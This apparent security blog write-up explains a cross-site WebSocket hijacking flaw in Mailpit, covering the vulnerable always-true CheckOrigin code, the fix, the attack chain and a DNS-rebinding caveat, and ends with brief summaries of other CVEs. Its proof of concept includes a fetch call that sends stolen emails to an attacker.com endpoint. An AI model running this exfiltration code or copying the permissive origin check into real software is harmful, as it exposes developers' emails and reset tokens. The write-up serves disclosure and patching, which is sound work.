Feb 20, 2026·6 min read·45 visits
Mailpit < 1.28.2 explicitly disabled WebSocket Origin checks. A malicious site can connect to your local Mailpit instance (ws://localhost:8025) and steal all your test emails.
A critical Cross-Site WebSocket Hijacking (CSWSH) vulnerability in Mailpit allows remote attackers to spy on local development environments. By failing to validate the WebSocket Origin header, Mailpit permits any malicious website visited by a developer to establish a persistent connection to the local Mailpit instance. This allows the attacker to siphon off email contents, password reset tokens, and other sensitive data generated during development testing in real-time.
Mailpit is the darling of the developer world right now. It is a spiritual successor to Mailhog—a tool you run locally to 'trap' emails sent by your application during development. Instead of spamming real users with 'test test 123' emails, your app sends them to localhost:1025, and Mailpit catches them, displaying them in a slick web UI on port 8025.
To make that UI feel snappy and reactive, Mailpit uses WebSockets. When a new email arrives, the server pushes it instantly to the browser. It’s convenient, fast, and modern. But here is the catch: tools designed for 'local development' often treat security as an optional DLC. The assumption is, "It's running on my machine, behind my NAT, so who cares?"
CVE-2026-22689 is the wake-up call for that mindset. It turns out that if you leave your front door open, it doesn't matter if your house is in a gated community; anyone who walks by can still walk in. In this case, the 'open door' was a WebSocket configuration that explicitly invited the entire internet to listen in on your private development traffic.
The vulnerability lies in how Mailpit handled the WebSocket handshake. The WebSocket protocol (RFC 6455) includes a security mechanism to prevent Cross-Site WebSocket Hijacking (CSWSH). When a browser initiates a WebSocket connection, it sends an Origin header indicating where the request is coming from (e.g., http://localhost:8025).
The server is supposed to check this header. If the origin is trusted (i.e., it matches the server's own domain), the connection is allowed. If it's http://sketchy-malware-site.com, the server should slam the door. This is standard procedure. It is the bouncer checking ID at the club.
Mailpit, however, fired the bouncer. Instead of validating the Origin, the application was hardcoded to accept everything. This isn't a bug in the code logic per se; it was a deliberate configuration choice—likely to avoid CORS headaches during development—that had catastrophic security implications. By returning true to every handshake request, Mailpit allowed any website running in your browser to bind to your local WebSocket server.
Let's look at the code. Mailpit is written in Go and uses the popular gorilla/websocket library. This library is secure by default—if you don't touch the CheckOrigin field, it enforces strict same-origin policies. But the developers went out of their way to override this safety net.
Here is the vulnerable code in server/websockets/client.go:
var upgrader = websocket.Upgrader{
ReadBufferSize: 1024,
WriteBufferSize: 1024,
CheckOrigin: func(r *http.Request) bool { return true }, // <--- THE BUG
EnableCompression: true,
}See that CheckOrigin function? It takes the HTTP request r, ignores it completely, and returns true. It is the programming equivalent of a security guard waving everyone through without looking up from their phone.
The fix, applied in commit 6f1f4f34c98989fd873261018fb73830b30aec3f, was delightfully simple: they just deleted the bad code.
var upgrader = websocket.Upgrader{
ReadBufferSize: 1024,
WriteBufferSize: 1024,
- CheckOrigin: func(r *http.Request) bool { return true }, // allow multi-domain
- EnableCompression: true, // experimental compression
+ EnableCompression: true,
}By removing the custom function, gorilla/websocket reverts to its default behavior, which checks that the Origin header matches the Host header. Sanity restored.
How does an attacker actually pull this off? They don't need to hack your firewall. They just need you to visit a website. It could be a malicious ad, a typo-squatted domain, or a compromised blog you read for coding tips.
Here is the attack chain:
ws://localhost:8025/api/events.Because the browser sees localhost as a distinct origin but does not block the WebSocket initiation (SOP is looser for WebSockets), the request goes out. Because Mailpit says "Yes" to everyone, the connection opens.
// Simple PoC for CVE-2026-22689
const socket = new WebSocket('ws://localhost:8025/api/events');
socket.onopen = function() {
console.log('[+] Connected to local Mailpit!');
};
socket.onmessage = function(event) {
const email = JSON.parse(event.data);
// Exfiltrate the email data to the attacker's server
fetch('https://attacker.com/collect', {
method: 'POST',
body: JSON.stringify(email)
});
console.log('[!] Email stolen:', email.Subject);
};From that point on, every time your local app sends a password reset email or a magic link login, the attacker gets a copy instantly. They can click that link before you do.
Developers often joke that "what happens on localhost stays on localhost." This vulnerability proves that adage dead wrong. The impact here is high confidentiality loss.
Consider what data flows through Mailpit. It's not just "Lorem Ipsum" text. It is:
This is a classic "Cross-Site" attack. The attacker bridges the gap between the public internet and your private loopback interface. It turns your browser into a proxy that bypasses your firewall.
The immediate fix is to update Mailpit to version 1.28.2 or later. If you installed via Go, run:
go install github.com/axllent/mailpit@latest
If you are using Docker, pull the latest image. The patch removes the permissive CheckOrigin bypass, forcing the browser's Origin to match the server's Host.
> [!WARNING]
> Residual Risk: DNS Rebinding
> Even with the patch, local tools like Mailpit can be vulnerable to DNS Rebinding. An attacker can map a domain they control (e.g., attacker.com) to 127.0.0.1 with a short TTL. If they can trick your browser into accessing attacker.com:8025, the browser sends Host: attacker.com:8025 and Origin: attacker.com. Since they match, the default WebSocket check might pass. The only true fix is for local tools to explicitly validate that the Host header is strictly localhost or 127.0.0.1.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
Mailpit axllent | < 1.28.2 | 1.28.2 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-1385 |
| Attack Vector | Network (Cross-Site via Browser) |
| CVSS Score | 6.5 (Medium) |
| EPSS Score | 0.00006 |
| Exploit Status | Trivial (No public weaponized script, but easy to write) |
| Impact | Confidentiality (High) |
The application does not verify or incorrectly verifies the Origin header in a WebSocket handshake, allowing a malicious site to communicate with the WebSocket server.
CVE-2026-113872 (GHSA-q7qp-rjg7-q26m) is a high-severity denial-of-service vulnerability affecting the multer multipart/form-data upload middleware for Node.js and Express in versions 2.0.0 through 2.4.0. When an endpoint is configured to accept multiple files using an asynchronous fileFilter callback, a crafted, truncated multipart HTTP request can trigger an unhandled error event on the underlying busboy stream parser after request teardown has already completed. Because all error listeners are stripped during teardown, Node.js treats the resulting error event as an uncaught exception and immediately terminates the server process.
CVE-2026-115897 (also tracked as GHSA-m5mm-p8h7-m29v and aliased as CVE-2026-115754) is a Cross-Site Scripting (XSS) vulnerability in the Yahoo serialize-javascript npm package prior to version 7.1.3. The flaw exists in the regular expression used by escapeFunctionBody() to neutralize HTML script closing tags within serialized JavaScript functions. Because function bodies are sanitized in isolation before structural formatting is applied, a function whose string representation terminates directly with the sequence '</script' bypasses the positive lookahead check. When combined with serialization formatting options that introduce whitespace delimiters and a subsequent property that supplies a closing bracket, an attacker can prematurely terminate an enclosing HTML <script> block and inject arbitrary HTML or JavaScript into the rendered document.
CVE-2026-109841 is a Subresource Integrity (SRI) verification bypass vulnerability in undici, the official HTTP/1.1 and HTTP/2 client library for Node.js that powers the global fetch() implementation. The flaw stems from improper handling of case sensitivity (CWE-178) when validating cryptographic hash algorithm tokens within SRI metadata. Because undici compared incoming algorithm identifiers against a strictly lowercase set without prior ASCII-lowercase normalization, valid uppercase or mixed-case tokens such as SHA256- or Sha384- were treated as unrecognized algorithms and discarded. Under SRI forward-compatibility rules, discarding all provided tokens results in an empty integrity list, causing undici to fail open and accept tampered HTTP response bodies without cryptographic verification.
A resource allocation vulnerability (CWE-770) exists in the Server-Sent Events (SSE) parser within the Node.js undici HTTP client library. In affected versions, the EventSourceStream implementation fails to restrict the count of internal Buffer chunk references and accumulated string nodes prior to event dispatch boundaries. A malicious or compromised SSE endpoint can exploit this behavior by streaming fragmented, unterminated lines or continuous sequences of short data fields without empty separator lines, bypassing configured byte-size limits and causing a fatal Out-of-Memory (OOM) crash in the client Node.js process.
CVE-2026-109869 is a high-severity denial-of-service vulnerability in undici, the default HTTP/1.1 client and Fetch implementation for Node.js. When a server responds with more than five Content-Encoding directives and prematurely closes the connection before transmitting the body, undici allocates an internal Readable stream before enforcing the content-encoding limit. Upon rejecting the fetch promise, the stream is orphaned without an error listener or abort signal, causing the premature socket closure to emit an unhandled stream error that terminates the Node.js process.
LiteLLM versions 1.87.0 through 1.104.0-rc.1 contain a cryptographic domain separation vulnerability (CWE-269, CWE-345, CWE-441) that allows an authenticated low-privilege user to escalate privileges to full proxy administrator. The application reuses a single symmetric cryptographic context and key derivation path for both at-rest secret encryption and ephemeral UI/CLI session authentication tokens without providing Associated Authenticated Data (AAD). By submitting crafted JSON session claims into user-accessible encrypted metadata fields, an attacker can use the API-key generation flow as an encryption oracle, extract the resulting ciphertext, and replay it as a bearer token to achieve administrative control and subsequent remote command execution via the Model Context Protocol (MCP) stdio interface.